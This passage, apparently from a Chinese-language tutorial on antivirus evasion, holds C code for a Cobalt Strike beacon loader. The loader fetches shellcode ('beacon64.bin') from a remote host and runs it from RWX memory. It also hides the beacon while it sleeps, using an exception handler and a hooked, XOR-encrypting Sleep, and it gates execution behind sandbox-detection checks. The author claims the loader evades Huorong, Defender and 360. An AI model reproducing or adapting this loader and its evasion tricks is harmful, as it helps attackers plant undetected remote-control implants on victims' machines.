closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr,0,400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
int main(int argc, char** argv) {
// Validate the parameters
/* if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
return 1;
}*/
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5003";
char* Resource = "beacon64.bin";
hEvent = CreateEvent(NULL, TRUE, false, NULL);
PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
if (temp == NULL)
{
printf("AddVectoredExceptionHandler调用失败");
getchar();
return 0;
}
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
((void(*)())shellcode_addr)();
return 0;
}
cs上线后调用sleep函数触发事件hEvent,修改内存为rw属性并睡眠,睡眠完执行shellcode发现内存异常,触发我们添加的异常函数把内存修改为rwx,执行完命令后cs继续sleep,sleep60秒内又触发事件hEvent,内存又变成rw,这样循环。
效果
还是一个非常有效的方法,火绒动静态免杀,defender静态免杀,360动静态免杀。
内存权限的波动修改
跟之前的异常处理的思路本质是一样的,都是让内存权限在可执行和不可执行之间反复横跳。
void HookSleep()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
UnHookSleep();
if (!memoryInfo.isScanMemory)
ScanMemoryMap();
printf("XOR32 key: %X\n", memoryInfo.key);
EncryptDecrypt();
printf("===> MySleep(%d)\n\n", dwMilliseconds);
Sleep(dwMilliseconds);
EncryptDecrypt();
HookSleep();
}
- 先脱钩
UnHookSleep();
,为了让后面的Sleep(dwMilliseconds);
执行睡眠; ScanMemoryMap();
为了定位本进程内rwx属性的内存位置,也就是我们beacon的内存位置EncryptDecrypt();
先把这块beacon的内存区域加密并且修改为rw,可以使用任何加密Sleep(dwMilliseconds);
接着加密后beacon内存进入sleep,这时候便可以躲避内存扫描EncryptDecrypt();
在sleep结束后解密并且把执行权限修改为rwx,并执行我们的cs操作HookSleep();
最后把sleephook回去,在cs执行完命令后再次sleep又会重复以上循环
反沙箱
沙箱脱壳技术
沙箱脱壳技术是通过虚拟机动态脱壳的方式来处理的。一般对于公开壳,用沙箱脱壳基本上都是会被杀的。
杀软沙箱的运行过程:
- 文件提交:用户或系统将可疑文件提交给杀软沙箱进行分析
- 环境隔离:杀软沙箱会在一个受控的环境中运行可疑文件,通常是在虚拟机或容器内。
- 动态行为分析:在沙箱环境中,可疑文件会被执行或打开,以触发其潜在的恶意行为,在这个过程中,会检测是否有病毒、恶意软件、木马或其他恶意活动的迹象。
- 恶意行为检测:对监控的行为进行分析
- 报告生成:生成分析报告,包括文件的行为日志、检测结果和风险评估等。
检测沙箱
- 检测开机时间:很多沙箱检测完会进行重启,判断开机时间是否大于1小时
- 检测物理内存:现如今很多PC机器都4GB以上的机器,判断内存是否小于4G
- 检测CPU核心数:很多沙箱和虚拟机的核心CPU为2GB,而PC的为4,判断是否小于4
- 检测参数:代入参数才能运行程序,判断是否有参数
- 检测文件名:很多沙箱都要修改文件名,判断文件名是否被修改
- 检测磁盘容量大小:沙箱一般都很小,判断磁盘是否大于80G
- 检测是否有虚拟机的进程
传参检测
#include <iostream>
int main(int argc, char* argv[]) {
if (argc >= 3) {
if (atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
LoadShellCode();
}
}
}
只有当命令行参数满足特定条件(和为12且积为35)时,才会调用LoadShellcode函数。
文件检测
#include <windows.h>
// 检测文件是否存在
BOOL isFileExists(wchar_t* szPath) {
DWORD dwAtrribt = GetFileAttributes(szPath);
return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && !(dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}
// 检测文件夹是否存在
BOOL isDirExists(wchar_t* szPath) {
DWORD dwAtrribt = GetFileAttributes(szPath);
return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && (dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}
int main() {
if (isFileExists(_wcsdup(L"1.txt")) && isDirExists(_wcsdup(L"1"))) {
LoadShellcode();
}
}
睡眠时间准测检测
之前是可以通过延时执行绕过沙箱检测的,因为沙箱不可能一直等待一个进程执行,所以可以把进程堵塞一段时间等沙箱分析完再把shellcode运行。但是现在沙箱使用加速,这种延时执行大部分就行不通了。
不过,可以检测睡眠时间是否对应从而确认是否存在沙箱。
#include <iostream>
#include <chrono>
#include <thread>
bool timeSleep() {
// 记录起始时间点
auto start = std::chrono::steady_clock::now();
// 休眠 10 秒钟
std::this_thread::sleep_for(std::chrono::seconds(10));
// 计算经过的时间
auto end = std::chrono::steady_clock::now() - start;
// 检查是否至少休眠了 10 秒钟
if (end >= std::chrono::seconds(10)) {
return true;
} else {
return false;
}
}
后言
总结下来,还是不够深刻的,希望能够在实践中更加认识。